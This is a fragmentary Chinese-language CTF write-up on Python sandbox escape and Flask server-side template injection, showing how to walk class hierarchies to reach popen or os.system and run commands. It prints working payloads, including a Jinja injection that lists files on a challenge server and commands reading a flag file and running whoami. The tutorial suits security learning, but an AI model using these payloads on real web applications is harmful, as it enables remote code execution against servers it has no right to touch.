我們可以一個資料型態(ex: str, list, dict...),先透過繼承找到原object所在的class
利用__bases__
"".__class__.__bases__
[].__class__.__bases__
{}.__class__.__bases__
__mro__
,因為__mro__
是繼承鍊,想當然base class也會在裡面"".__class__.__mro__[-1]
[].__class__.__mro__[-1]
{}.__class__.__mro__[-1]
base class
往下找能夠利用的derived class
,大概像以下這樣"".__class__.__bases__[0].__subclasses__()
for
迴圈幫助找們找到能利用的classfor i in enumerate("".__class__.__bases__[0].__subclasses__()):
print(i)
# 常見能用的如下
# (118, <class 'os._wrap_close'>)
# (165, <class 'warnings.WarningMessage'>)
import
來讀檔案
class
,我們就能夠利用popen
function,做到Remote Control Execute
__init__
將class instance,接著利用__globals__
把popen
拉出來, "".__class__.__bases__[0].__subclasses__()[118].__init__.__globals__['popen']("type C:\\Users\\halloworld\\Desktop\\flag.txt").read()
# 'I am flag'
python2可以利用linecache
老樣子,我們看一下能利用classes
warnings
中的linecache
for i in enumerate("".__class__.__mro__[-1].__subclasses__()):
print i
# (59, <class 'warnings.catch_warnings'>)
linecache
能夠高效率的取得其他模組的原始碼,這時候我們試試看用他來import os
"".__class__.__base__.__subclasses__()[59].__init__.__globals__['linecache'].__dict__['os'].system('whoami')
# root
# 0
一個登入介面,題目又是跟Flask有關,合理推斷應該跟SSTI注入有關
先試試看url
,結果甚麼事都沒發生
註冊個帳號,登入看看有甚麼額外功能
很像有個create card,感覺可以試試看注入,回到List Cards,真的可以耶
試著查看設定config
os._wrap_close()
167
是他,結果發現可以RCE{{ "".__class__.__mro__[-1].__subclasses__()[167].__init__.__globals__['popen']("ls").read() }}